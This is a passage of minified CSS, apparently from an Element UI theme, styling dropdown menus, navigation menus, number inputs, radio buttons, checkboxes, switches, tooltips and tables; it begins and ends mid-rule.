.el-dropdown__caret-button:hover::before{top:0;bottom:0;}.el-dropdown .el-dropdown__caret-button .el-dropdown__icon{padding-left:0;}.el-dropdown__icon{font-size:12px;margin:0 3px;}.el-dropdown .el-dropdown-selfdefine:focus:active,.el-dropdown .el-dropdown-selfdefine:focus:not(.focusing){outline-width:0;}.el-dropdown-menu{position:absolute;top:0;left:0;z-index:10;padding:10px 0;margin:5px 0;background-color:#fff;border:1px solid #ebeef5;border-radius:4px;-webkit-box-shadow:0 2px 12px 0 rgba(0,0,0,0.1);box-shadow:0 2px 12px 0 rgba(0,0,0,0.1);}.el-dropdown-menu__item{list-style:none;line-height:36px;padding:0 20px;margin:0;font-size:14px;color:#606266;cursor:pointer;outline:none;}.el-dropdown-menu__item:not(.is-disabled):hover,.el-dropdown-menu__item:focus{background-color:#ebf2fe;color:#6098f7;}.el-dropdown-menu__item--divided{position:relative;margin-top:6px;border-top:1px solid #ebeef5;}.el-dropdown-menu__item--divided:before{height:6px;display:block;margin:0 -20px;background-color:#fff;}.el-dropdown-menu__item.is-disabled{cursor:default;color:#bbb;pointer-events:none;}.el-dropdown-menu--medium{padding:6px 0;}.el-dropdown-menu--medium .el-dropdown-menu__item{line-height:30px;padding:0 17px;font-size:14px;}.el-dropdown-menu--medium .el-dropdown-menu__item.el-dropdown-menu__item--divided{margin-top:6px;}.el-dropdown-menu--medium .el-dropdown-menu__item.el-dropdown-menu__item--divided:before{height:6px;margin:0 -17px;}.el-dropdown-menu--small{padding:6px 0;}.el-dropdown-menu--small .el-dropdown-menu__item{line-height:27px;padding:0 15px;font-size:13px;}.el-dropdown-menu--small .el-dropdown-menu__item.el-dropdown-menu__item--divided{margin-top:4px;}.el-dropdown-menu--small .el-dropdown-menu__item.el-dropdown-menu__item--divided:before{height:4px;margin:0 -15px;}.el-dropdown-menu--mini{padding:3px 0;}.el-dropdown-menu--mini .el-dropdown-menu__item{line-height:24px;padding:0 10px;font-size:12px;}.el-dropdown-menu--mini .el-dropdown-menu__item.el-dropdown-menu__item--divided{margin-top:3px;}.el-dropdown-menu--mini .el-dropdown-menu__item.el-dropdown-menu__item--divided:before{height:3px;margin:0 -10px;}.fade-in-linear-enter-active,.fade-in-linear-leave-active{-webkit-transition:opacity 200ms linear;transition:opacity 200ms linear;}.el-menu{border-right:solid 1px #e6e6e6;list-style:none;position:relative;margin:0;padding-left:0;background-color:#fff;}.el-menu::before,.el-menu::after{display:table;}.el-menu::after{clear:both;}.el-menu--horizontal{border-right:none;border-bottom:solid 1px #e6e6e6;}.el-menu--horizontal > .el-menu-item{float:left;height:60px;line-height:60px;margin:0;border-bottom:2px solid transparent;color:#909399;}.el-menu--horizontal > .el-menu-item a,.el-menu--horizontal > .el-menu-item a:hover{color:inherit;}.el-menu--horizontal > .el-menu-item:not(.is-disabled):hover,.el-menu--horizontal > .el-menu-item:not(.is-disabled):focus{background-color:#fff;}.el-menu--horizontal > .el-submenu{float:left;}.el-menu--horizontal > .el-submenu:focus,.el-menu--horizontal > .el-submenu:hover{outline:none;}.el-menu--horizontal > .el-submenu:focus .el-submenu__title,.el-menu--horizontal > .el-submenu:hover .el-submenu__title{color:#303133;}.el-menu--horizontal > .el-submenu.is-active .el-submenu__title{border-bottom:2px solid #387ef5;color:#303133;}.el-menu--horizontal > .el-submenu .el-submenu__title{height:60px;line-height:60px;border-bottom:2px solid transparent;color:#909399;}.el-menu--horizontal > .el-submenu .el-submenu__title:hover{background-color:#fff;}.el-menu--horizontal > .el-submenu .el-submenu__icon-arrow{position:static;vertical-align:middle;margin-left:8px;margin-top:-3px;}.el-menu--horizontal .el-menu .el-menu-item,.el-menu--horizontal .el-menu .el-submenu__title{background-color:#fff;float:none;height:36px;line-height:36px;padding:0 10px;color:#909399;}.el-menu--horizontal .el-menu .el-menu-item.is-active,.el-menu--horizontal .el-menu .el-submenu__title.is-active{color:#303133;}.el-menu--horizontal .el-menu-item:not(.is-disabled):hover,.el-menu--horizontal .el-menu-item:not(.is-disabled):focus{outline:none;color:#303133;}.el-menu--horizontal > .el-menu-item.is-active{border-bottom:2px solid #387ef5;color:#303133;}.el-menu--collapse{width:64px;}.el-menu--collapse > .el-menu-item [class^=\"el-icon-\"],.el-menu--collapse > .el-submenu > .el-submenu__title [class^=\"el-icon-\"]{margin:0;vertical-align:middle;width:24px;text-align:center;}.el-menu--collapse > .el-menu-item .el-submenu__icon-arrow,.el-menu--collapse > .el-submenu > .el-submenu__title .el-submenu__icon-arrow{display:none;}.el-menu--collapse > .el-menu-item span,.el-menu--collapse > .el-submenu > .el-submenu__title span{height:0;width:0;overflow:hidden;visibility:hidden;display:inline-block;}.el-menu--collapse > .el-menu-item.is-active i{color:inherit;}.el-menu--collapse .el-menu .el-submenu{min-width:200px;}.el-menu--collapse .el-submenu{position:relative;}.el-menu--collapse .el-submenu .el-menu{position:absolute;margin-left:5px;top:0;left:100%;z-index:10;border:1px solid #e4e7ed;border-radius:2px;-webkit-box-shadow:0 2px 12px 0 rgba(0,0,0,0.1);box-shadow:0 2px 12px 0 rgba(0,0,0,0.1);}.el-menu--collapse .el-submenu.is-opened > .el-submenu__title .el-submenu__icon-arrow{-webkit-transform:none;transform:none;}.el-menu--popup{z-index:100;min-width:200px;border:none;padding:5px 0;border-radius:2px;-webkit-box-shadow:0 2px 12px 0 rgba(0,0,0,0.1);box-shadow:0 2px 12px 0 rgba(0,0,0,0.1);}.el-menu--popup-bottom-start{margin-top:5px;}.el-menu--popup-right-start{margin-left:5px;margin-right:5px;}.el-menu-item{height:56px;line-height:56px;font-size:14px;color:#303133;padding:0 20px;list-style:none;cursor:pointer;position:relative;-webkit-transition:border-color .3s,background-color .3s,color .3s;transition:border-color .3s,background-color .3s,color .3s;-webkit-box-sizing:border-box;box-sizing:border-box;white-space:nowrap;}.el-menu-item *{vertical-align:middle;}.el-menu-item i{color:#909399;}.el-menu-item:hover,.el-menu-item:focus{outline:none;background-color:#ebf2fe;}.el-menu-item.is-disabled{opacity:0.25;cursor:not-allowed;background:none !important;}.el-menu-item [class^=\"el-icon-\"]{margin-right:5px;width:24px;text-align:center;font-size:18px;vertical-align:middle;}.el-menu-item.is-active{color:#387ef5;}.el-menu-item.is-active i{color:inherit;}.el-submenu{list-style:none;margin:0;padding-left:0;}.el-submenu__title{height:56px;line-height:56px;font-size:14px;color:#303133;padding:0 20px;list-style:none;cursor:pointer;position:relative;-webkit-transition:border-color .3s,background-color .3s,color .3s;transition:border-color .3s,background-color .3s,color .3s;-webkit-box-sizing:border-box;box-sizing:border-box;white-space:nowrap;}.el-submenu__title *{vertical-align:middle;}.el-submenu__title i{color:#909399;}.el-submenu__title:hover,.el-submenu__title:focus{outline:none;background-color:#ebf2fe;}.el-submenu__title.is-disabled{opacity:0.25;cursor:not-allowed;background:none !important;}.el-submenu__title:hover{background-color:#ebf2fe;}.el-submenu .el-menu{border:none;}.el-submenu .el-menu-item{height:50px;line-height:50px;padding:0 45px;min-width:200px;}.el-submenu__icon-arrow{position:absolute;top:50%;right:20px;margin-top:-7px;-webkit-transition:-webkit-transform .3s;transition:-webkit-transform .3s;transition:transform .3s;transition:transform .3s,-webkit-transform .3s;font-size:12px;}.el-submenu.is-active .el-submenu__title{border-bottom-color:#387ef5;}.el-submenu.is-opened > .el-submenu__title .el-submenu__icon-arrow{-webkit-transform:rotateZ(180deg);transform:rotateZ(180deg);}.el-submenu.is-disabled .el-submenu__title,.el-submenu.is-disabled .el-menu-item{opacity:0.25;cursor:not-allowed;background:none !important;}.el-submenu [class^=\"el-icon-\"]{vertical-align:middle;margin-right:5px;width:24px;text-align:center;font-size:18px;}.el-menu-item-group > ul{padding:0;}.el-menu-item-group__title{padding:7px 0 7px 20px;line-height:normal;font-size:12px;color:#909399;}.horizontal-collapse-transition .el-submenu__title .el-submenu__icon-arrow{-webkit-transition:.2s;transition:.2s;opacity:0;}.el-input-number{position:relative;display:inline-block;width:180px;line-height:38px;}.el-input-number .el-input{display:block;}.el-input-number .el-input__inner{-webkit-appearance:none;padding-left:50px;padding-right:50px;text-align:center;}.el-input-number__increase,.el-input-number__decrease{position:absolute;z-index:1;top:1px;width:40px;height:auto;text-align:center;background:#f5f7fa;color:#606266;cursor:pointer;font-size:13px;}.el-input-number__increase:hover,.el-input-number__decrease:hover{color:#387ef5;}.el-input-number__increase:hover:not(.is-disabled) ~ .el-input .el-input__inner:not(.is-disabled),.el-input-number__decrease:hover:not(.is-disabled) ~ .el-input .el-input__inner:not(.is-disabled){border-color:#387ef5;}.el-input-number__increase.is-disabled,.el-input-number__decrease.is-disabled{color:#c0c4cc;cursor:not-allowed;}.el-input-number__increase{right:1px;border-radius:0 4px 4px 0;border-left:1px solid #dcdfe6;}.el-input-number__decrease{left:1px;border-radius:4px 0 0 4px;border-right:1px solid #dcdfe6;}.el-input-number.is-disabled .el-input-number__increase,.el-input-number.is-disabled .el-input-number__decrease{border-color:#e4e7ed;color:#e4e7ed;}.el-input-number.is-disabled .el-input-number__increase:hover,.el-input-number.is-disabled .el-input-number__decrease:hover{color:#e4e7ed;cursor:not-allowed;}.el-input-number--medium{width:200px;line-height:34px;}.el-input-number--medium .el-input-number__increase,.el-input-number--medium .el-input-number__decrease{width:36px;font-size:14px;}.el-input-number--medium .el-input__inner{padding-left:43px;padding-right:43px;}.el-input-number--small{width:130px;line-height:30px;}.el-input-number--small .el-input-number__increase,.el-input-number--small .el-input-number__decrease{width:32px;font-size:13px;}.el-input-number--small .el-input-number__increase [class*=el-icon],.el-input-number--small .el-input-number__decrease [class*=el-icon]{-webkit-transform:scale(0.9);transform:scale(0.9);}.el-input-number--small .el-input__inner{padding-left:39px;padding-right:39px;}.el-input-number--mini{width:130px;line-height:26px;}.el-input-number--mini .el-input-number__increase,.el-input-number--mini .el-input-number__decrease{width:28px;font-size:12px;}.el-input-number--mini .el-input-number__increase [class*=el-icon],.el-input-number--mini .el-input-number__decrease [class*=el-icon]{-webkit-transform:scale(0.8);transform:scale(0.8);}.el-input-number--mini .el-input__inner{padding-left:35px;padding-right:35px;}.el-input-number.is-without-controls .el-input__inner{padding-left:15px;padding-right:15px;}.el-input-number.is-controls-right .el-input__inner{padding-left:15px;padding-right:50px;}.el-input-number.is-controls-right .el-input-number__increase,.el-input-number.is-controls-right .el-input-number__decrease{height:auto;line-height:19px;}.el-input-number.is-controls-right .el-input-number__increase [class*=el-icon],.el-input-number.is-controls-right .el-input-number__decrease [class*=el-icon]{-webkit-transform:scale(0.8);transform:scale(0.8);}.el-input-number.is-controls-right .el-input-number__increase{border-radius:0 4px 0 0;border-bottom:1px solid #dcdfe6;}.el-input-number.is-controls-right .el-input-number__decrease{right:1px;bottom:1px;top:auto;left:auto;border-right:none;border-left:1px solid #dcdfe6;border-radius:0 0 4px 0;}.el-input-number.is-controls-right[class*=medium] [class*=increase],.el-input-number.is-controls-right[class*=medium] [class*=decrease]{line-height:17px;}.el-input-number.is-controls-right[class*=small] [class*=increase],.el-input-number.is-controls-right[class*=small] [class*=decrease]{line-height:15px;}.el-input-number.is-controls-right[class*=mini] [class*=increase],.el-input-number.is-controls-right[class*=mini] [class*=decrease]{line-height:13px;}.el-radio{color:#606266;font-weight:500;line-height:1;position:relative;cursor:pointer;display:inline-block;white-space:nowrap;outline:none;font-size:14px;-moz-user-select:none;-webkit-user-select:none;-ms-user-select:none;}.el-radio.is-bordered{padding:12px 20px 0 10px;border-radius:4px;border:1px solid #dcdfe6;-webkit-box-sizing:border-box;box-sizing:border-box;height:40px;}.el-radio.is-bordered.is-checked{border-color:#387ef5;}.el-radio.is-bordered.is-disabled{cursor:not-allowed;border-color:#ebeef5;}.el-radio.is-bordered + .el-radio.is-bordered{margin-left:10px;}.el-radio--medium.is-bordered{padding:10px 20px 0 10px;border-radius:4px;height:36px;}.el-radio--medium.is-bordered .el-radio__label{font-size:14px;}.el-radio--medium.is-bordered .el-radio__inner{height:14px;width:14px;}.el-radio--small.is-bordered{padding:8px 15px 0 10px;border-radius:3px;height:32px;}.el-radio--small.is-bordered .el-radio__label{font-size:12px;}.el-radio--small.is-bordered .el-radio__inner{height:12px;width:12px;}.el-radio--mini.is-bordered{padding:6px 15px 0 10px;border-radius:3px;height:28px;}.el-radio--mini.is-bordered .el-radio__label{font-size:12px;}.el-radio--mini.is-bordered .el-radio__inner{height:12px;width:12px;}.el-radio + .el-radio{margin-left:30px;}.el-radio__input{white-space:nowrap;cursor:pointer;outline:none;display:inline-block;line-height:1;position:relative;vertical-align:middle;}.el-radio__input.is-disabled .el-radio__inner{background-color:#f5f7fa;border-color:#e4e7ed;cursor:not-allowed;}.el-radio__input.is-disabled .el-radio__inner::after{cursor:not-allowed;background-color:#f5f7fa;}.el-radio__input.is-disabled .el-radio__inner + .el-radio__label{cursor:not-allowed;}.el-radio__input.is-disabled.is-checked .el-radio__inner{background-color:#f5f7fa;border-color:#e4e7ed;}.el-radio__input.is-disabled.is-checked .el-radio__inner::after{background-color:#c0c4cc;}.el-radio__input.is-disabled + span.el-radio__label{color:#c0c4cc;cursor:not-allowed;}.el-radio__input.is-checked .el-radio__inner{border-color:#387ef5;background:#387ef5;}.el-radio__input.is-checked .el-radio__inner::after{-webkit-transform:translate(-50%,-50%) scale(1);transform:translate(-50%,-50%) scale(1);}.el-radio__input.is-checked + .el-radio__label{color:#387ef5;}.el-radio__input.is-focus .el-radio__inner{border-color:#387ef5;}.el-radio__inner{border:1px solid #dcdfe6;border-radius:100%;width:14px;height:14px;background-color:#fff;position:relative;cursor:pointer;display:inline-block;-webkit-box-sizing:border-box;box-sizing:border-box;}.el-radio__inner:hover{border-color:#387ef5;}.el-radio__inner::after{width:4px;height:4px;border-radius:100%;background-color:#fff;position:absolute;left:50%;top:50%;-webkit-transform:translate(-50%,-50%) scale(0);transform:translate(-50%,-50%) scale(0);-webkit-transition:-webkit-transform .15s ease-in;transition:-webkit-transform .15s ease-in;transition:transform .15s ease-in;transition:transform .15s ease-in,-webkit-transform .15s ease-in;}.el-radio__original{opacity:0;outline:none;position:absolute;z-index:-1;top:0;left:0;right:0;bottom:0;margin:0;}.el-radio:focus:not(.is-focus):not(:active):not(.is-disabled){}.el-radio:focus:not(.is-focus):not(:active):not(.is-disabled) .el-radio__inner{-webkit-box-shadow:0 0 2px 2px #387ef5;box-shadow:0 0 2px 2px #387ef5;}.el-radio__label{font-size:14px;padding-left:10px;}.el-radio-group{display:inline-block;line-height:1;vertical-align:middle;font-size:0;}.el-radio-button{position:relative;display:inline-block;outline:none;}.el-radio-button__inner{display:inline-block;line-height:1;white-space:nowrap;vertical-align:middle;background:#fff;border:1px solid #dcdfe6;font-weight:500;border-left:0;color:#387ef5;-webkit-appearance:none;text-align:center;-webkit-box-sizing:border-box;box-sizing:border-box;outline:none;margin:0;position:relative;cursor:pointer;-webkit-transition:all 0.3s cubic-bezier(0.645,0.045,0.355,1);transition:all 0.3s cubic-bezier(0.645,0.045,0.355,1);padding:12px 20px;font-size:14px;border-radius:0;}.el-radio-button__inner.is-round{padding:12px 20px;}.el-radio-button__inner:hover{color:#387ef5;}.el-radio-button__inner [class*=\"el-icon-\"]{line-height:0.9;}.el-radio-button__inner [class*=\"el-icon-\"] + span{margin-left:5px;}.el-radio-button:first-child .el-radio-button__inner{border-left:1px solid #dcdfe6;border-radius:4px 0 0 4px;-webkit-box-shadow:none !important;box-shadow:none !important;}.el-radio-button__orig-radio{opacity:0;outline:none;position:absolute;z-index:-1;}.el-radio-button__orig-radio:checked + .el-radio-button__inner{color:#fff;background-color:#387ef5;border-color:#387ef5;-webkit-box-shadow:-1px 0 0 0 #387ef5;box-shadow:-1px 0 0 0 #387ef5;}.el-radio-button__orig-radio:disabled + .el-radio-button__inner{color:#c0c4cc;cursor:not-allowed;background-image:none;background-color:#fff;border-color:#ebeef5;-webkit-box-shadow:none;box-shadow:none;}.el-radio-button__orig-radio:disabled:checked + .el-radio-button__inner{background-color:#f2f6fc;}.el-radio-button:last-child .el-radio-button__inner{border-radius:0 4px 4px 0;}.el-radio-button:first-child:last-child .el-radio-button__inner{border-radius:4px;}.el-radio-button--medium .el-radio-button__inner{padding:10px 20px;font-size:14px;border-radius:0;}.el-radio-button--medium .el-radio-button__inner.is-round{padding:10px 20px;}.el-radio-button--small .el-radio-button__inner{padding:9px 15px;font-size:12px;border-radius:0;}.el-radio-button--small .el-radio-button__inner.is-round{padding:9px 15px;}.el-radio-button--mini .el-radio-button__inner{padding:7px 15px;font-size:12px;border-radius:0;}.el-radio-button--mini .el-radio-button__inner.is-round{padding:7px 15px;}.el-radio-button:focus:not(.is-focus):not(:active):not(.is-disabled){-webkit-box-shadow:0 0 2px 2px #387ef5;box-shadow:0 0 2px 2px #387ef5;}.el-checkbox{color:#606266;font-weight:500;font-size:14px;position:relative;cursor:pointer;display:inline-block;white-space:nowrap;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none;}.el-checkbox.is-bordered{padding:9px 20px 9px 10px;border-radius:4px;border:1px solid #dcdfe6;-webkit-box-sizing:border-box;box-sizing:border-box;line-height:normal;height:40px;}.el-checkbox.is-bordered.is-checked{border-color:#387ef5;}.el-checkbox.is-bordered.is-disabled{border-color:#ebeef5;cursor:not-allowed;}.el-checkbox.is-bordered + .el-checkbox.is-bordered{margin-left:10px;}.el-checkbox.is-bordered.el-checkbox--medium{padding:7px 20px 7px 10px;border-radius:4px;height:36px;}.el-checkbox.is-bordered.el-checkbox--medium .el-checkbox__label{line-height:17px;font-size:14px;}.el-checkbox.is-bordered.el-checkbox--medium .el-checkbox__inner{height:14px;width:14px;}.el-checkbox.is-bordered.el-checkbox--small{padding:5px 15px 5px 10px;border-radius:3px;height:32px;}.el-checkbox.is-bordered.el-checkbox--small .el-checkbox__label{line-height:15px;font-size:12px;}.el-checkbox.is-bordered.el-checkbox--small .el-checkbox__inner{height:12px;width:12px;}.el-checkbox.is-bordered.el-checkbox--small .el-checkbox__inner::after{height:6px;width:2px;}.el-checkbox.is-bordered.el-checkbox--mini{padding:3px 15px 3px 10px;border-radius:3px;height:28px;}.el-checkbox.is-bordered.el-checkbox--mini .el-checkbox__label{line-height:12px;font-size:12px;}.el-checkbox.is-bordered.el-checkbox--mini .el-checkbox__inner{height:12px;width:12px;}.el-checkbox.is-bordered.el-checkbox--mini .el-checkbox__inner::after{height:6px;width:2px;}.el-checkbox__input{white-space:nowrap;cursor:pointer;outline:none;display:inline-block;line-height:1;position:relative;vertical-align:middle;}.el-checkbox__input.is-disabled .el-checkbox__inner{background-color:#edf2fc;border-color:#dcdfe6;cursor:not-allowed;}.el-checkbox__input.is-disabled .el-checkbox__inner::after{cursor:not-allowed;border-color:#c0c4cc;}.el-checkbox__input.is-disabled .el-checkbox__inner + .el-checkbox__label{cursor:not-allowed;}.el-checkbox__input.is-disabled.is-checked .el-checkbox__inner{background-color:#f2f6fc;border-color:#dcdfe6;}.el-checkbox__input.is-disabled.is-checked .el-checkbox__inner::after{border-color:#c0c4cc;}.el-checkbox__input.is-disabled.is-indeterminate .el-checkbox__inner{background-color:#f2f6fc;border-color:#dcdfe6;}.el-checkbox__input.is-disabled.is-indeterminate .el-checkbox__inner::before{background-color:#c0c4cc;border-color:#c0c4cc;}.el-checkbox__input.is-disabled + span.el-checkbox__label{color:#c0c4cc;cursor:not-allowed;}.el-checkbox__input.is-checked .el-checkbox__inner{background-color:#387ef5;border-color:#387ef5;}.el-checkbox__input.is-checked .el-checkbox__inner::after{-webkit-transform:rotate(45deg) scaleY(1);transform:rotate(45deg) scaleY(1);}.el-checkbox__input.is-checked + .el-checkbox__label{color:#387ef5;}.el-checkbox__input.is-focus{}.el-checkbox__input.is-focus .el-checkbox__inner{border-color:#387ef5;}.el-checkbox__input.is-indeterminate .el-checkbox__inner{background-color:#387ef5;border-color:#387ef5;}.el-checkbox__input.is-indeterminate .el-checkbox__inner::before{position:absolute;display:block;background-color:#fff;height:2px;-webkit-transform:scale(0.5);transform:scale(0.5);left:0;right:0;top:5px;}.el-checkbox__input.is-indeterminate .el-checkbox__inner::after{display:none;}.el-checkbox__inner{display:inline-block;position:relative;border:1px solid #dcdfe6;border-radius:2px;-webkit-box-sizing:border-box;box-sizing:border-box;width:14px;height:14px;background-color:#fff;z-index:1;-webkit-transition:border-color 0.25s cubic-bezier(0.71,-0.46,0.29,1.46),background-color 0.25s cubic-bezier(0.71,-0.46,0.29,1.46);transition:border-color 0.25s cubic-bezier(0.71,-0.46,0.29,1.46),background-color 0.25s cubic-bezier(0.71,-0.46,0.29,1.46);}.el-checkbox__inner:hover{border-color:#387ef5;}.el-checkbox__inner::after{-webkit-box-sizing:content-box;box-sizing:content-box;border:1px solid #fff;border-left:0;border-top:0;height:7px;left:4px;position:absolute;top:1px;-webkit-transform:rotate(45deg) scaleY(0);transform:rotate(45deg) scaleY(0);width:3px;-webkit-transition:-webkit-transform .15s ease-in .05s;transition:-webkit-transform .15s ease-in .05s;transition:transform .15s ease-in .05s;transition:transform .15s ease-in .05s,-webkit-transform .15s ease-in .05s;-webkit-transform-origin:center;transform-origin:center;}.el-checkbox__original{opacity:0;outline:none;position:absolute;margin:0;width:0;height:0;z-index:-1;}.el-checkbox__label{display:inline-block;padding-left:10px;line-height:19px;font-size:14px;}.el-checkbox + .el-checkbox{margin-left:30px;}.el-checkbox-button{position:relative;display:inline-block;}.el-checkbox-button__inner{display:inline-block;line-height:1;font-weight:500;white-space:nowrap;vertical-align:middle;cursor:pointer;background:#fff;border:1px solid #dcdfe6;border-left:0;color:#387ef5;-webkit-appearance:none;text-align:center;-webkit-box-sizing:border-box;box-sizing:border-box;outline:none;margin:0;position:relative;-webkit-transition:all 0.3s cubic-bezier(0.645,0.045,0.355,1);transition:all 0.3s cubic-bezier(0.645,0.045,0.355,1);-moz-user-select:none;-webkit-user-select:none;-ms-user-select:none;padding:12px 20px;font-size:14px;border-radius:0;}.el-checkbox-button__inner.is-round{padding:12px 20px;}.el-checkbox-button__inner:hover{color:#387ef5;}.el-checkbox-button__inner [class*=\"el-icon-\"]{line-height:0.9;}.el-checkbox-button__inner [class*=\"el-icon-\"] + span{margin-left:5px;}.el-checkbox-button__original{opacity:0;outline:none;position:absolute;margin:0;z-index:-1;}.el-checkbox-button.is-checked .el-checkbox-button__inner{color:#fff;background-color:#387ef5;border-color:#387ef5;-webkit-box-shadow:-1px 0 0 0 #88b2f9;box-shadow:-1px 0 0 0 #88b2f9;}.el-checkbox-button.is-checked:first-child .el-checkbox-button__inner{border-left-color:#387ef5;}.el-checkbox-button.is-disabled .el-checkbox-button__inner{color:#c0c4cc;cursor:not-allowed;background-image:none;background-color:#fff;border-color:#ebeef5;-webkit-box-shadow:none;box-shadow:none;}.el-checkbox-button.is-disabled:first-child .el-checkbox-button__inner{border-left-color:#ebeef5;}.el-checkbox-button:first-child .el-checkbox-button__inner{border-left:1px solid #dcdfe6;border-radius:4px 0 0 4px;-webkit-box-shadow:none !important;box-shadow:none !important;}.el-checkbox-button.is-focus .el-checkbox-button__inner{border-color:#387ef5;}.el-checkbox-button:last-child .el-checkbox-button__inner{border-radius:0 4px 4px 0;}.el-checkbox-button--medium .el-checkbox-button__inner{padding:10px 20px;font-size:14px;border-radius:0;}.el-checkbox-button--medium .el-checkbox-button__inner.is-round{padding:10px 20px;}.el-checkbox-button--small .el-checkbox-button__inner{padding:9px 15px;font-size:12px;border-radius:0;}.el-checkbox-button--small .el-checkbox-button__inner.is-round{padding:9px 15px;}.el-checkbox-button--mini .el-checkbox-button__inner{padding:7px 15px;font-size:12px;border-radius:0;}.el-checkbox-button--mini .el-checkbox-button__inner.is-round{padding:7px 15px;}.el-checkbox-group{font-size:0;}.el-switch{display:-webkit-inline-box;display:-ms-inline-flexbox;display:inline-flex;-webkit-box-align:center;-ms-flex-align:center;align-items:center;position:relative;font-size:14px;line-height:20px;height:20px;vertical-align:middle;}.el-switch.is-disabled .el-switch__core,.el-switch.is-disabled .el-switch__label{cursor:not-allowed;}.el-switch__label{-webkit-transition:.2s;transition:.2s;height:20px;display:inline-block;font-size:14px;font-weight:500;cursor:pointer;vertical-align:middle;color:#303133;}.el-switch__label.is-active{color:#387ef5;}.el-switch__label--left{margin-right:10px;}.el-switch__label--right{margin-left:10px;}.el-switch__label *{line-height:1;font-size:14px;display:inline-block;}.el-switch__input{position:absolute;width:0;height:0;opacity:0;margin:0;}.el-switch__input:focus ~ .el-switch__core{outline:1px solid #387ef5;}.el-switch__core{margin:0;display:inline-block;position:relative;width:40px;height:20px;border:1px solid #dcdfe6;outline:none;border-radius:10px;-webkit-box-sizing:border-box;box-sizing:border-box;background:#dcdfe6;cursor:pointer;-webkit-transition:border-color .3s,background-color .3s;transition:border-color .3s,background-color .3s;vertical-align:middle;}.el-switch__core:after{;position:absolute;top:1px;left:1px;border-radius:100%;-webkit-transition:all .3s;transition:all .3s;width:16px;height:16px;background-color:#fff;}.el-switch.is-checked .el-switch__core{border-color:#387ef5;background-color:#387ef5;}.el-switch.is-checked .el-switch__core::after{left:100%;margin-left:-17px;}.el-switch.is-disabled{opacity:0.6;}.el-switch--wide .el-switch__label.el-switch__label--left span{left:10px;}.el-switch--wide .el-switch__label.el-switch__label--right span{right:10px;}.el-switch .label-fade-enter,.el-switch .label-fade-leave-active{opacity:0;}.el-tooltip:focus:not(.focusing),.el-tooltip:focus:hover{outline-width:0;}.el-tooltip__popper{position:absolute;border-radius:4px;padding:10px;z-index:2000;font-size:12px;line-height:1.2;min-width:10px;}.el-tooltip__popper .popper__arrow,.el-tooltip__popper .popper__arrow::after{position:absolute;display:block;width:0;height:0;border-color:transparent;border-style:solid;}.el-tooltip__popper .popper__arrow{border-width:6px;}.el-tooltip__popper .popper__arrow::after{border-width:5px;}.el-tooltip__popper[x-placement^=\"top\"]{margin-bottom:12px;}.el-tooltip__popper[x-placement^=\"top\"] .popper__arrow{bottom:-6px;border-top-color:#303133;border-bottom-width:0;}.el-tooltip__popper[x-placement^=\"top\"] .popper__arrow::after{bottom:1px;margin-left:-5px;border-top-color:#303133;border-bottom-width:0;}.el-tooltip__popper[x-placement^=\"bottom\"]{margin-top:12px;}.el-tooltip__popper[x-placement^=\"bottom\"] .popper__arrow{top:-6px;border-top-width:0;border-bottom-color:#303133;}.el-tooltip__popper[x-placement^=\"bottom\"] .popper__arrow::after{top:1px;margin-left:-5px;border-top-width:0;border-bottom-color:#303133;}.el-tooltip__popper[x-placement^=\"right\"]{margin-left:12px;}.el-tooltip__popper[x-placement^=\"right\"] .popper__arrow{left:-6px;border-right-color:#303133;border-left-width:0;}.el-tooltip__popper[x-placement^=\"right\"] .popper__arrow::after{bottom:-5px;left:1px;border-right-color:#303133;border-left-width:0;}.el-tooltip__popper[x-placement^=\"left\"]{margin-right:12px;}.el-tooltip__popper[x-placement^=\"left\"] .popper__arrow{right:-6px;border-right-width:0;border-left-color:#303133;}.el-tooltip__popper[x-placement^=\"left\"] .popper__arrow::after{right:1px;bottom:-5px;margin-left:-5px;border-right-width:0;border-left-color:#303133;}.el-tooltip__popper.is-dark{background:#303133;color:#fff;}.el-tooltip__popper.is-light{background:#fff;border:1px solid #303133;}.el-tooltip__popper.is-light[x-placement^=\"top\"] .popper__arrow{border-top-color:#303133;}.el-tooltip__popper.is-light[x-placement^=\"top\"] .popper__arrow::after{border-top-color:#fff;}.el-tooltip__popper.is-light[x-placement^=\"bottom\"] .popper__arrow{border-bottom-color:#303133;}.el-tooltip__popper.is-light[x-placement^=\"bottom\"] .popper__arrow::after{border-bottom-color:#fff;}.el-tooltip__popper.is-light[x-placement^=\"left\"] .popper__arrow{border-left-color:#303133;}.el-tooltip__popper.is-light[x-placement^=\"left\"] .popper__arrow::after{border-left-color:#fff;}.el-tooltip__popper.is-light[x-placement^=\"right\"] .popper__arrow{border-right-color:#303133;}.el-tooltip__popper.is-light[x-placement^=\"right\"] .popper__arrow::after{border-right-color:#fff;}.el-table{position:relative;overflow:hidden;-webkit-box-sizing:border-box;box-sizing:border-box;-webkit-box-flex:1;-ms-flex:1;flex:1;width:100%;max-width:100%;background-color:#fff;font-size:14px;color:#606266;}.el-table__empty-block{min-height:60px;text-align:center;width:100%;height:100%;display:-webkit-box;display:-ms-flexbox;display:flex;-webkit-box-pack:center;-ms-flex-pack:center;justify-content:center;-webkit-box-align:center;-ms-flex-align:center;align-items:center;}.el-table__empty-text{width:50%;color:#909399;}.el-table__expand-column .cell{padding:0;text-align:center;}.el-table__expand-icon{position:relative;cursor:pointer;color:#666;font-size:12px;-webkit-transition:-webkit-transform 0.2s ease-in-out;transition:-webkit-transform 0.2s ease-in-out;transition:transform 0.2s ease-in-out;transition:transform 0.2s ease-in-out,-webkit-transform 0.2s ease-in-out;height:20px;}.el-table__expand-icon--expanded{-webkit-transform:rotate(90deg);transform:rotate(90deg);}.el-table__expand-icon > .el-icon{position:absolute;left:50%;top:50%;margin-left:-5px;margin-top:-5px;}.el-table__expanded-cell{background-color:#fff;}.el-table__expanded-cell[class*=cell]{padding:20px 50px;}.el-table__expanded-cell:hover{background-color:transparent !important;}.el-table--fit{border-right:0;border-bottom:0;}.el-table--fit th.gutter,.el-table--fit td.gutter{border-right-width:1px;}.el-table--scrollable-x .el-table__body-wrapper{overflow-x:auto;}.el-table--scrollable-y .el-table__body-wrapper{overflow-y:auto;}.el-table thead{color:#909399;font-weight:500;}.el-table thead.is-group th{background:#f5f7fa;}.el-table th,.el-table td{padding:12px 0;min-width:0;-webkit-box-sizing:border-box;box-sizing:border-box;text-overflow:ellipsis;vertical-align:middle;position:relative;}.el-table th.is-center,.el-table td.is-center{text-align:center;}.el-table th.is-left,.el-table td.is-left{text-align:left;}.el-table th.is-right,.el-table td.is-right{text-align:right;}.el-table th.gutter,.el-table 